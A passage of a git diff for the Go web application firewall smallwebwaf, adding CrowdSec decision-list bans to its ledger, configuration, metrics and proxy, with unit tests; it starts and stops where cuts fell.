`countAnomalies` counts it for the anomaly thresholds. - `internal/metrics`: the metrics, counted as the other parts tell it what happened, and served in the Prometheus text format. - `internal/bans`: the ban ledger: each netblock's bans with their notes, how @@ -1978,14 +2074,15 @@ given as files" above). client's history and to the notes of its bans; or in the lookup database, which it reads again when the file is replaced. `internal/lookup/lookuptest` writes lookup databases for the tests. -- `internal/reputation`: fetches the blocklists and the file - `SWWAF_ASN_LIMIT_PERCENT_URL` names as they are due, keeps the last good copy - of each, and tells which blocklists list an address and what percentage the - file gives an AS number; asks the DNSBL zones about clients in the background, - through the standard library's resolver, keeps their verdicts, and tells which - zones' verdicts list an address; and checks clients with AbuseIPDB in the - background, keeps their scores and the checks spent today, and tells whether a - client's score is a hit. +- `internal/reputation`: fetches the blocklists, the file + `SWWAF_ASN_LIMIT_PERCENT_URL` names and the CrowdSec decision list as they are + due, keeps the last good copy of each, and tells which blocklists list an + address, what percentage the file gives an AS number, and which decision of + the decision list bans an address; asks the DNSBL zones about clients in the + background, through the standard library's resolver, keeps their verdicts, and + tells which zones' verdicts list an address; and checks clients with AbuseIPDB + in the background, keeps their scores and the checks spent today, and tells + whether a client's score is a hit. - `internal/ratelimit`: the table of clients: counts each client's requests and bytes, tells when they take it over a rate limit or a byte limit, and keeps each client's history. diff --git a/internal/alerts/alerts.go b/internal/alerts/alerts.go index b4d975a..9fbb95a 100644 --- a/internal/alerts/alerts.go +++ b/internal/alerts/alerts.go @@ -46,8 +46,9 @@ const ( EventAnomaly = "anomaly" // EventWAFBlock comes with the Core Rule Set; nothing raises it yet. EventWAFBlock = "waf_block" - // EventReputationHit is a request whose client a blocklist or a DNSBL - // zone lists, or whose AbuseIPDB score is a hit. + // EventReputationHit is a request whose client a blocklist, the + // CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score + // is a hit. EventReputationHit = "reputation_hit" // EventSourceFailure is GeoJS failing or refusing smallwebwaf, a fetch // of a list failing, a query to a DNSBL zone or a check with AbuseIPDB diff --git a/internal/bans/bans.go b/internal/bans/bans.go index fc7275c..38e335f 100644 --- a/internal/bans/bans.go +++ b/internal/bans/bans.go @@ -1,8 +1,9 @@ // Package bans is the ban ledger: the bans smallwebwaf makes on the -// netblocks of clients that break a rate limit or a byte limit or show a -// clear sign of attack, and those an admin makes, with their notes, as -// the "Bans" section of SPEC.md describes. The bans are kept in memory, -// and written to bans.json and read from it by the state package. +// netblocks of clients that break a rate limit or a byte limit, show a +// clear sign of attack or are listed by the CrowdSec decision list, and +// those an admin makes, with their notes, as the "Bans" section of SPEC.md +// describes. The bans are kept in memory, and written to bans.json and +// read from it by the state package. package bans import ( @@ -26,6 +27,9 @@ const ( // CauseAdmin is a ban an admin made, or one smallwebwaf made that an // admin keeps. It is never dropped. CauseAdmin = "admin" + // CauseCrowdSec is a ban smallwebwaf made for a client the CrowdSec + // decision list lists. It ends when CrowdSec's decision does. + CauseCrowdSec = "crowdsec" ) // repeatFactor is how many times as long as the netblock's last ban a ban @@ -40,9 +44,9 @@ type Rules struct { // LimitBanDuration is how long a first ban for a broken limit lasts. LimitBanDuration time.Duration // LimitBanRepeatWindow is how soon after the end of the netblock's - // ban that ended last, other than one for a clear sign of attack, a - // broken limit counts as a repeat, which bans for repeatFactor times as - // long as that ban. + // ban that ended last, other than one for a clear sign of attack or for + // CrowdSec's decision, a broken limit counts as a repeat, which bans for + // repeatFactor times as long as that ban. LimitBanRepeatWindow time.Duration // MaxBanDuration is the longest ban for a broken limit; one that would // be longer is permanent instead. @@ -63,10 +67,11 @@ type Ban struct { Start time.Time // Expires is when the ban ends, zero for a permanent ban. Expires time.Time - // Cause is CauseLimit, CauseAttack or CauseAdmin. + // Cause is CauseLimit, CauseAttack, CauseAdmin or CauseCrowdSec. Cause string - // Reason is a short text: for a ban smallwebwaf made, the limit broken - // or the rule that matched; for an admin's, what the admin wrote. + // Reason is a short text: for a ban smallwebwaf made, the limit broken, + // the rule that matched or the scenario of CrowdSec's decision; for an + // admin's, what the admin wrote. Reason string // Lifted is when an admin lifted the ban, zero while no admin has. A // lifted ban refuses nothing, and does not make the netblock's next @@ -123,7 +128,8 @@ type Notes struct { // log's reputation names them. It is left out when none did. Reputation []ReputationHit `json:"reputation,omitempty"` // Request is the request that broke the limit, or whose bytes broke - // it, or that was the clear sign of attack. + // it, that was the clear sign of attack, or that came from a client the + // CrowdSec decision list lists. Request Request `json:"request"` // Requests is how many requests the netblock has sent since it was // first seen, and Refused how many of them the ban has refused so @@ -136,9 +142,10 @@ type Notes struct { } // ReputationHit is a reputation source that listed a client, as a -// reputation_hit alert's detail gives it: Source is the blocklist's URL, -// the DNSBL zone with its key masked, or "abuseipdb", and Score, for -// AbuseIPDB alone, its score of the client. +// reputation_hit alert's detail gives it: Source is the URL of the +// blocklist or of the CrowdSec decision list, the DNSBL zone with its key +// masked, or "abuseipdb", and Score, for AbuseIPDB alone, its score of the +// client. type ReputationHit struct { Source string `json:"source"` Score *int64 `json:"score,omitempty"` @@ -146,9 +153,10 @@ type ReputationHit struct { // EarlierBans counts a netblock's bans before a ban, by cause. type EarlierBans struct { - Limit int `json:"limit"` - Attack int `json:"attack"` - Admin int `json:"admin"` + Limit int `json:"limit"` + Attack int `json:"attack"` + Admin int `json:"admin"` + CrowdSec int `json:"crowdsec"` } // Request is a request in a ban's notes. Each text is cut to 256 bytes. @@ -276,7 +284,8 @@ func activeBan(bans []Ban, now time.Time) *Ban { // BanForLimit bans netblock at now for a broken limit, with notes, and // returns the ban, and true. A first ban lasts LimitBanDuration. A ban // made within LimitBanRepeatWindow after the netblock's ban that ended -// last, other than one for a clear sign of attack or a lifted one, lasts +// last, other than one for a clear sign of attack or for CrowdSec's +// decision, or a lifted one, lasts // repeatFactor times as long as that one. A ban that would be longer // than MaxBanDuration is permanent instead. If a ban on netblock is still // active, as when two of its requests break a limit at once, that ban is @@ -287,7 +296,7 @@ func activeBan(bans []Ban, now time.Time) *Ban { func (l *Ledger) BanForLimit( netblock netip.Prefix, now time.Time, notes Notes, ) (Ban, bool) { - return l.ban(netblock, now, CauseLimit, limitReason(notes), notes, true) + return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, true) } // WouldBanForLimit returns what BanForLimit would, without making the ban: @@ -295,7 +304,7 @@ func (l *Ledger) BanForLimit( func (l *Ledger) WouldBanForLimit( netblock netip.Prefix, now time.Time, notes Notes, ) (Ban, bool) { - return l.ban(netblock, now, CauseLimit, limitReason(notes), notes, false) + return l.ban(netblock, now, time.Time{}, CauseLimit, limitReason(notes), notes, false) } // BanForAttack bans netblock at now for a clear sign of attack, with @@ -306,7 +315,7 @@ func (l *Ledger) WouldBanForLimit( func (l *Ledger) BanForAttack( netblock netip.Prefix, now time.Time, notes Notes, ) (Ban, bool) { - return l.ban(netblock, now, CauseAttack, attackReason(notes), notes, true) + return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, true) } // WouldBanForAttack returns what BanForAttack would, without making the @@ -314,12 +323,35 @@ func (l *Ledger) BanForAttack( func (l *Ledger) WouldBanForAttack( netblock netip.Prefix, now time.Time, notes Notes, ) (Ban, bool) { - return l.ban(netblock, now, CauseAttack, attackReason(notes), notes, false) + return l.ban(netblock, now, time.Time{}, CauseAttack, attackReason(notes), notes, + false) } -// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit -// or CauseAttack, made at now would be permanent, as BanForLimit or -// BanForAttack would make it. It works out nothing else of the ban. +// BanForCrowdSec bans netblock at now until expires, when CrowdSec's +// decision on the client ends, with notes, and returns the ban, and +// whether it made it, as BanForLimit does. Its reason is "CrowdSec's +// decision for ", the scenario that made the decision. +func (l *Ledger) BanForCrowdSec( + netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes, +) (Ban, bool) { + return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes, + true) +} + +// WouldBanForCrowdSec returns what BanForCrowdSec would, without making +// the ban: what observe mode would have done. +func (l *Ledger) WouldBanForCrowdSec( + netblock netip.Prefix, now, expires time.Time, scenario string, notes Notes, +) (Ban, bool) { + return l.ban(netblock, now, expires, CauseCrowdSec, crowdSecReason(scenario), notes, + false) +} + +// WouldBePermanent reports whether a ban on netblock for cause, CauseLimit, +// CauseAttack or CauseCrowdSec, made at now would be permanent, as +// BanForLimit, BanForAttack or BanForCrowdSec would make it. It works out +// nothing else of the ban. A ban for CrowdSec's decision is never +// permanent: it ends with the decision. func (l *Ledger) WouldBePermanent( netblock netip.Prefix, now time.Time, cause string, ) bool { @@ -331,11 +363,14 @@ func (l *Ledger) WouldBePermanent( held = *bans } - if cause == CauseAttack { + switch cause { + case CauseAttack: return l.attackExpiry(held, now).IsZero() + case CauseLimit: + return l.limitExpiry(held, now).IsZero() + default: // CauseCrowdSec + return false } - - return l.limitExpiry(held, now).IsZero() } // limitReason is the reason of a ban for a broken limit, with notes. @@ -350,6 +385,12 @@ func attackReason(notes Notes) string { return "matched the rule " + notes.RuleID } +// crowdSecReason is the reason of a ban for CrowdSec's decision, which +// scenario made. +func crowdSecReason(scenario string) string { + return "CrowdSec's decision for " + scenario +} + // BanForAdmin bans netblock at now for an admin, with reason, until // expires, or for good when expires is zero, and returns the ban, whose // cause is CauseAdmin. Unlike BanForLimit and BanForAttack, it makes the @@ -587,11 +628,14 @@ func (l *Ledger) holds(netblock netip.Prefix, start time.Time) bool { } // ban bans netblock at now for cause, with reason and notes, as -// BanForLimit and BanForAttack describe, and returns the ban, and whether -// it made it. Unless keep is true, the ban is not made, only returned: it -// is the ban that would have been made. +// BanForLimit, BanForAttack and BanForCrowdSec describe, and returns the +// ban, and whether it made it. expires is when a ban for CauseCrowdSec +// ends, and zero for the others, whose end the ledger works out. Unless +// keep is true, the ban is not made, only returned: it is the ban that +// would have been made. func (l *Ledger) ban( - netblock netip.Prefix, now time.Time, cause, reason string, notes Notes, keep bool, + netblock netip.Prefix, now, expires time.Time, cause, reason string, notes Notes, + keep bool, ) (Ban, bool) { l.mu.Lock() defer l.mu.Unlock() @@ -613,10 +657,13 @@ func (l *Ledger) ban( notes.Request = notes.Request.cut() ban := Ban{Netblock: netblock, Start: now, Cause: cause, Reason: reason, Notes: notes} - if cause == CauseAttack { + switch cause { + case CauseAttack: ban.Expires = l.attackExpiry(held, now) - } else { + case CauseLimit: ban.Expires = l.limitExpiry(held, now) + default: // CauseCrowdSec + ban.Expires = expires } if !keep { @@ -645,6 +692,8 @@ func earlierBans(held []Ban) EarlierBans { earlier.Attack++ case CauseAdmin: earlier.Admin++ + case CauseCrowdSec: + earlier.CrowdSec++ } } @@ -738,16 +787,16 @@ func (l *Ledger) add(ban Ban) { // limitExpiry returns when a ban for a broken limit made at now ends, or // zero when it is permanent. held are the netblock's bans, none of them // active, of which the one that ended last, other than a ban for a clear -// sign of attack or a lifted one, can make the new ban longer. A ban an -// admin adds to bans.json can start after another and end before it, so -// that one is looked for among them all. +// sign of attack or for CrowdSec's decision, or a lifted one, can make the +// new ban longer. A ban an admin adds to bans.json can start after +// another and end before it, so that one is looked for among them all. func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time { length := l.rules.LimitBanDuration var last *Ban for i, ban := range held { - if ban.Cause != CauseAttack && ban.Lifted.IsZero() && + if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() && (last == nil || ban.Expires.After(last.Expires)) { last = &held[i] } diff --git a/internal/bans/crowdsec_test.go b/internal/bans/crowdsec_test.go new file mode 100644 index 0000000..1a6adfa --- /dev/null +++ b/internal/bans/crowdsec_test.go @@ -0,0 +1,90 @@ +package bans_test + +import ( + "net/netip" + "reflect" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/bans" +) + +// scenario is the scenario of the tests' CrowdSec decisions. +const scenario = "crowdsecurity/ssh-bf" + +func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + netblock := netip.MustParsePrefix("203.0.113.9/32") + expires := midnight().Add(4 * time.Hour) + + // The ban that would be made is not made. + would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires, + scenario, bans.Notes{}) + if !wouldBan || len(ledger.Bans(netblock)) != 0 { + t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing", + wouldBan, ledger.Bans(netblock)) + } + + const reason = "CrowdSec's decision for " + scenario + + ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, + bans.Notes{}) + if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec || + !ban.Expires.Equal(expires) || ban.Reason != reason || + ledger.Made(bans.CauseCrowdSec) != 1 { + t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+ + "crowdsec until %s", made, ban, would, expires) + } + + // A second decision on the netblock while the ban lasts makes no other. + again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour), + expires.Add(time.Hour), scenario, bans.Notes{}) + if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 { + t.Errorf("made %t the ban %+v while the first lasts, want none", made, again) + } +} + +func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + netblock := netip.MustParsePrefix("203.0.113.9/32") + expires := midnight().Add(4 * time.Hour) + ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{}) + + // A request as the ban ends is refused, and leaves it as it is. + last := expires.Add(-time.Nanosecond) + + held, banned, madePermanent := ledger.Check(netblock.Addr(), last) + if !banned || madePermanent || !held.Expires.Equal(expires) || + ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) { + t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+ + "refused under the ban as it was", banned, held, madePermanent) + } + + if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned { + t.Error("the ban refuses a request once the decision has ended") + } +} + +func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) { + t.Parallel() + + ledger := bans.New(defaultRules()) + netblock := netip.MustParsePrefix("203.0.113.9/32") + + // Three times the three days would be permanent; a limit broken as the + // ban for CrowdSec's decision ends bans for an hour, as a first broken + // limit does. + crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day), + scenario, bans.Notes{}) + limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{}) + + if limit.Expires.Sub(limit.Start) != time.Hour || + limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) { + t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec", + limit) + } +} diff --git a/internal/config/config.go b/internal/config/config.go index ddb6cf9..2de8f4d 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -181,6 +181,13 @@ type Config struct { ReputationLimitPercent int64 ReputationCacheTTL time.Duration ReputationTimeout time.Duration + // CrowdSecDecisionsURL is where the decision list of the CrowdSec + // engine whose local API SWWAF_CROWDSEC_LAPI_URL names is fetched from: + // that URL with v1/decisions added to its path, "" while it is unset and + // none is. CrowdSecKey is the key the engine is asked with + // (SWWAF_CROWDSEC_LAPI_KEY). + CrowdSecDecisionsURL string + CrowdSecKey string // BanResponse is the status a refused client is answered with, 403 // or 429, or 0 to close the connection without an answer // (SWWAF_BAN_RESPONSE). It answers a banned client, a request that @@ -410,6 +417,13 @@ var ( "names IPv6 clients are asked about by") errNotResolver = errors.New("is not an IP address with an optional port, " + "such as 192.0.2.53 or [2001:db8::53]:5353") + errNotLAPIURL = errors.New( + "is not an http or https URL without a user or a fragment, " + + "such as http://172.17.0.1:8080") + errNeedsLAPIKey = errors.New("the engine answers no request without it") + errLAPIKeyUnused = errors.New("it is sent only to the engine at that URL") + errAnotherList = errors.New( + "is in SWWAF_BLOCKLIST_URLS or is SWWAF_ASN_LIMIT_PERCENT_URL too") ) // FromEnvironment reads the settings with lookupEnv, normally @@ -471,6 +485,8 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { AbuseIPDBDailyBudget: env.numberNotOff("SWWAF_ABUSEIPDB_DAILY_BUDGET", "900"), ReputationCacheTTL: env.durationNotOff("SWWAF_REPUTATION_CACHE_TTL", "24h"), ReputationTimeout: env.durationNotOff("SWWAF_REPUTATION_TIMEOUT", "2s"), + CrowdSecDecisionsURL: env.crowdSecDecisionsURL("SWWAF_CROWDSEC_LAPI_URL"), + CrowdSecKey: env.secret("SWWAF_CROWDSEC_LAPI_KEY"), BanResponse: env.banResponse("SWWAF_BAN_RESPONSE", "403"), LimitBanDuration: env.durationNotOff("SWWAF_LIMIT_BAN_DURATION", "1h"), LimitBanRepeatWindow: env.durationNotOff("SWWAF_LIMIT_BAN_REPEAT_WINDOW", "24h"), @@ -523,6 +539,7 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { env.checkLookupDBPath(cfg) env.checkCountriesAndLookups(cfg) env.checkASNLimitPercentURL(cfg) + env.checkCrowdSec(cfg) if env.err != nil { return nil, env.err @@ -835,6 +852,26 @@ func (e *environment) resolver(name string) netip.AddrPort { return resolver } +// crowdSecDecisionsURL reads the setting that is the URL of the CrowdSec +// engine's local API, such as http://172.17.0.1:8080, and returns the URL +// its decision list is fetched from, that URL with v1/decisions added to +// its path, "" while it is unset or empty. +func (e *environment) crowdSecDecisionsURL(name string) string { + value := e.value(name, "") + if value == "" { + return "" + } + + lapi, err := url.Parse(value) + if err != nil || !isHTTPURL(lapi) { + e.check(name, fmt.Errorf("%q %w", value, errNotLAPIURL)) + + return "" + } + + return lapi.JoinPath("v1", "decisions").String() +} + // lookupSource reads the setting that is where clients are looked up: // geojs, file, or off. func (e *environment) lookupSource(name, defaultValue string) string { @@ -912,6 +949,26 @@ func (e *environment) checkASNLimitPercentURL(cfg *Config) { } } +// checkCrowdSec refuses SWWAF_CROWDSEC_LAPI_URL without +// SWWAF_CROWDSEC_LAPI_KEY, the key without the URL, and a decision list +// that is fetched as another list too. +func (e *environment) checkCrowdSec(cfg *Config) { + decisionsURL := cfg.CrowdSecDecisionsURL + + switch { + case decisionsURL != "" && cfg.CrowdSecKey == "": + e.check("SWWAF_CROWDSEC_LAPI_URL", fmt.Errorf( + "is set while SWWAF_CROWDSEC_LAPI_KEY is unset; %w", errNeedsLAPIKey)) + case decisionsURL == "" && cfg.CrowdSecKey != "": + e.check("SWWAF_CROWDSEC_LAPI_KEY", fmt.Errorf( + "is set while SWWAF_CROWDSEC_LAPI_URL is unset; %w", errLAPIKeyUnused)) + case decisionsURL != "" && (slices.Contains(cfg.BlocklistURLs, decisionsURL) || + decisionsURL == cfg.ASNLimitPercentURL): + e.check("SWWAF_CROWDSEC_LAPI_URL", fmt.Errorf("gives the decision list %q, which %w", + decisionsURL, errAnotherList)) + } +} + // headerNames reads a setting that is a list of header names, and // returns them in lower case. func (e *environment) headerNames(name, defaultValue string) []string { diff --git a/internal/config/config_test.go b/internal/config/config_test.go index 5ec0344..7cc528e 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -71,6 +71,8 @@ const ( reputationAction = "SWWAF_REPUTATION_ACTION" reputationCacheTTL = "SWWAF_REPUTATION_CACHE_TTL" reputationTimeout = "SWWAF_REPUTATION_TIMEOUT" + crowdSecURL = "SWWAF_CROWDSEC_LAPI_URL" + crowdSecKey = "SWWAF_CROWDSEC_LAPI_KEY" banResponse = "SWWAF_BAN_RESPONSE" limitBanDuration = "SWWAF_LIMIT_BAN_DURATION" limitBanRepeatWindow = "SWWAF_LIMIT_BAN_REPEAT_WINDOW" @@ -1653,6 +1655,121 @@ func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) { } } +func TestCrowdSecSettingsGiveTheDecisionListAndTheKey(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{}) + if cfg.CrowdSecDecisionsURL != "" || cfg.CrowdSecKey != "" { + t.Errorf("by default, the decision list %q and the key %q, want neither", + cfg.CrowdSecDecisionsURL, cfg.CrowdSecKey) + } + + for lapi, want := range map[string]string{ + "http://172.17.0.1:8080": "http://172.17.0.1:8080/v1/decisions", + "http://172.17.0.1:8080/": "http://172.17.0.1:8080/v1/decisions", + "https://crowdsec.example/lapi/": "https://crowdsec.example/lapi/v1/decisions", + "https://crowdsec.example:8443/x": "https://crowdsec.example:8443/x/v1/decisions", + } { + cfg := fromEnvironment(t, environment{crowdSecURL: lapi, crowdSecKey: token}) + if cfg.CrowdSecDecisionsURL != want || cfg.CrowdSecKey != token { + t.Errorf("%s=%s gave the decision list %q and the key %q, want %s and %s", + crowdSecURL, lapi, cfg.CrowdSecDecisionsURL, cfg.CrowdSecKey, want, token) + } + } +} + +func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) { + t.Parallel() + + const ( + lapi = "http://172.17.0.1:8080" + notLAPIURL = " is not an http or https URL without a user or a fragment, " + + "such as http://172.17.0.1:8080" + anotherList = `gives the decision list "` + lapi + `/v1/decisions", which is in ` + + `SWWAF_BLOCKLIST_URLS or is SWWAF_ASN_LIMIT_PERCENT_URL too` + ) + + for _, tc := range []struct { + name string + env environment + want string + }{ + { + "a URL that is not http", + environment{crowdSecURL: "ftp://172.17.0.1", crowdSecKey: token}, + crowdSecURL + `: "ftp://172.17.0.1"` + notLAPIURL, + }, + { + "a URL with a user", + environment{crowdSecURL: "http://bouncer@172.17.0.1:8080", crowdSecKey: token}, + crowdSecURL + `: "http://bouncer@172.17.0.1:8080"` + notLAPIURL, + }, + { + "the URL without the key", + environment{crowdSecURL: lapi}, + crowdSecURL + ": is set while " + crowdSecKey + " is unset; the engine " + + "answers no request without it", + }, + { + "the key without the URL", + environment{crowdSecKey: token}, + crowdSecKey + ": is set while " + crowdSecURL + " is unset; it is sent only " + + "to the engine at that URL", + }, + { + "the decision list as a blocklist too", + environment{ + crowdSecURL: lapi, crowdSecKey: token, + blocklistURLs: "https://lists.example/drop.txt," + lapi + "/v1/decisions", + }, + crowdSecURL + ": " + anotherList, + }, + { + "the decision list as the file of AS:percent lines too", + environment{ + crowdSecURL: lapi + "/", crowdSecKey: token, + asnLimitPercentURL: lapi + "/v1/decisions", + }, + crowdSecURL + ": " + anotherList, + }, + // The key itself is never shown. + { + "a key with a control character", + environment{crowdSecURL: lapi, crowdSecKey: token + "\r"}, + crowdSecKey + ": holds a control character, such as the carriage return " + + "of a Windows line end", + }, + } { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + _, err := config.FromEnvironment(tc.env.lookupEnv) + if err == nil || err.Error() != tc.want { + t.Errorf("error %v, want %s", err, tc.want) + } + }) + } +} + +func TestCrowdSecKeyIsLoggedMasked(t *testing.T) { + t.Parallel() + + cfg := fromEnvironment(t, environment{ + crowdSecURL: "http://172.17.0.1:8080", crowdSecKey: token, + }) + + var out bytes.Buffer + + slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg) + + logged := out.String() + if strings.Contains(logged, token) || + !strings.Contains(logged, `"`+crowdSecKey+`":"********"`) || + !strings.Contains(logged, `"`+crowdSecURL+`":"http://172.17.0.1:8080"`) { + t.Errorf("the key is not logged masked beside the URL: %s", logged) + } +} + func TestSizesAndOff(t *testing.T) { t.Parallel() @@ -2096,6 +2213,8 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { reputationAction: "limit:25", reputationCacheTTL: defaultReputationCacheTTL, reputationTimeout: "2s", + crowdSecURL: "", + crowdSecKey: "", banResponse: "403", limitBanDuration: "1h", limitBanRepeatWindow: "24h", diff --git a/internal/metrics/metrics.go b/internal/metrics/metrics.go index 910c89c..da6c835 100644 --- a/internal/metrics/metrics.go +++ b/internal/metrics/metrics.go @@ -154,7 +154,9 @@ func New(topN int, instanceName string) *Metrics { func (m *Metrics) AddBansAndClients( ledger *bans.Ledger, limiter *ratelimit.Limiter, now func() time.Time, ) { - for _, cause := range []string{bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin} { + for _, cause := range []string{ + bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec, + } { m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{ Name: "smallwebwaf_bans_made_total", Help: "Bans made, by cause.", @@ -263,16 +265,16 @@ const sourceLabel = "source" // AddReputation adds the metrics of the lists fetched from URLs and of the // DNSBL zones, by source, each list's URL or each zone, its key masked as -// config.MaskZoneKey masks it: the requests whose client a blocklist, a -// zone's verdict or AbuseIPDB's score lists, which ReputationHit counts, -// and, read from lists and dnsbl as the metrics are asked for, for a list, -// the fetches that failed and when the copy in use was fetched, and for a -// zone, the queries made and those that failed. It is called once, before -// ReputationHit. +// config.MaskZoneKey masks it: the requests whose client a blocklist, the +// CrowdSec decision list, a zone's verdict or AbuseIPDB's score lists, +// which ReputationHit counts, and, read from lists and dnsbl as the +// metrics are asked for, for a list, the fetches that failed and when the +// copy in use was fetched, and for a zone, the queries made and those that +// failed. It is called once, before ReputationHit. func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) { m.reputationHits = counterVec("smallwebwaf_reputation_hits_total", - "Requests whose client a blocklist, a DNSBL zone or AbuseIPDB lists, by "+ - "the blocklist's URL, the zone, or abuseipdb.", + "Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+ + "zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.", []string{sourceLabel}) m.registry.MustRegister(m.reputationHits) @@ -325,8 +327,9 @@ func (m *Metrics) AddAbuseIPDB(abuseIPDB *reputation.AbuseIPDB) { ) } -// ReputationHit counts a request whose client source lists: a blocklist, -// by its URL, a DNSBL zone, its key masked, or AbuseIPDB, abuseipdb. +// ReputationHit counts a request whose client source lists: a blocklist +// or the CrowdSec decision list, by its URL, a DNSBL zone, its key masked, +// or AbuseIPDB, abuseipdb. func (m *Metrics) ReputationHit(source string) { m.reputationHits.WithLabelValues(source).Inc() } diff --git a/internal/proxy/bans.go b/internal/proxy/bans.go index fd69d5a..4a6dc1e 100644 --- a/internal/proxy/bans.go +++ b/internal/proxy/bans.go @@ -7,6 +7,7 @@ import ( "sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/ratelimit" + "sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/rules" ) @@ -202,6 +203,44 @@ func (rq *request) banForAttack(now time.Time, rule rules.Rule) { } } +// banForCrowdSec bans the client's netblock at now until decision, +// CrowdSec's decision on the client, ends. In observe mode it makes no +// ban, and raises the alert for the ban it would have made, if that alert +// would be sent. +func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) { + netblock := rq.h.netblock(rq.client) + if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) { + return + } + + notes := bans.Notes{ + ASN: rq.line.ASN, + ASName: rq.line.ASName, + Country: rq.line.Country, + Reputation: rq.reputation, + Request: rq.noted(now, rq.h.config.BanResponse), + Requests: rq.netblockRequests(netblock), + } + + if rq.h.config.Observe { + ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires, + decision.Scenario, notes) + if wouldBan { + rq.alertBan(ban) + } + + return + } + + ban, made := rq.h.ledger.BanForCrowdSec(netblock, now, decision.Expires, + decision.Scenario, notes) + rq.line.BanExpires = banExpires(ban) + + if made { + rq.alertBan(ban) + } +} + // wouldAlertBan reports whether the alert for a ban on netblock for cause // made at now would be sent. In observe mode the ban the request would // have made is worked out only then, at most once per diff --git a/internal/proxy/crowdsec_test.go b/internal/proxy/crowdsec_test.go new file mode 100644 index 0000000..8868751 --- /dev/null +++ b/internal/proxy/crowdsec_test.go @@ -0,0 +1,181 @@ +package proxy_test + +import ( + "net/http" + "net/netip" + "reflect" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/alerts" + "sneak.berlin/go/smallwebwaf/internal/bans" + "sneak.berlin/go/smallwebwaf/internal/proxy" + "sneak.berlin/go/smallwebwaf/internal/reputation" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +// The CrowdSec settings, and the tests' engine, which is never asked: each +// test puts in the copy of its decision list, at decisionsURL, that it +// needs, as reputation.json would at start. +const ( + crowdSecURL = "SWWAF_CROWDSEC_LAPI_URL" + crowdSecKey = "SWWAF_CROWDSEC_LAPI_KEY" + lapi = "http://crowdsec.example:8080" + decisionsURL = lapi + "/v1/decisions" + bouncerKey = "crowdsec-key-0123456789abcdef" +) + +func TestClientTheCrowdSecDecisionListListsIsBannedUntilTheDecisionEnds(t *testing.T) { + t.Parallel() + + s, clk, server, queue := startWithAlerts(t, map[string]string{ + crowdSecURL: lapi, crowdSecKey: bouncerKey, metricsToken: token, + }) + // client had four hours left on its decision as the engine answered. + fetched := clk.Now() + loadDecisions(t, server, fetched, `[{"duration": "4h0m0s", `+ + `"scenario": "crowdsecurity/ssh-bf", "scope": "Ip", "type": "ban", `+ + `"value": "`+client+`"}]`) + expires := requestlog.FormatTime(fetched.Add(4 * time.Hour)) + + // Its first request is refused, and bans it until the decision ends. + line := s.get(client, http.StatusForbidden, requestlog.ActionBanned) + wantReputation(t, line, decisionsURL) + + if line.BanExpires != expires { + t.Errorf("log line has ban_expires %q, want %s", line.BanExpires, expires) + } + + listed := []bans.ReputationHit{{Source: decisionsURL}} + + held := server.Ledger.Bans(netip.MustParsePrefix(client + "/32")) + if len(held) != 1 || held[0].Cause != bans.CauseCrowdSec || + !held[0].Start.Equal(fetched) || !held[0].Expires.Equal(fetched.Add(4*time.Hour)) || + held[0].Reason != "CrowdSec's decision for crowdsecurity/ssh-bf" || + !reflect.DeepEqual(held[0].Notes.Reputation, 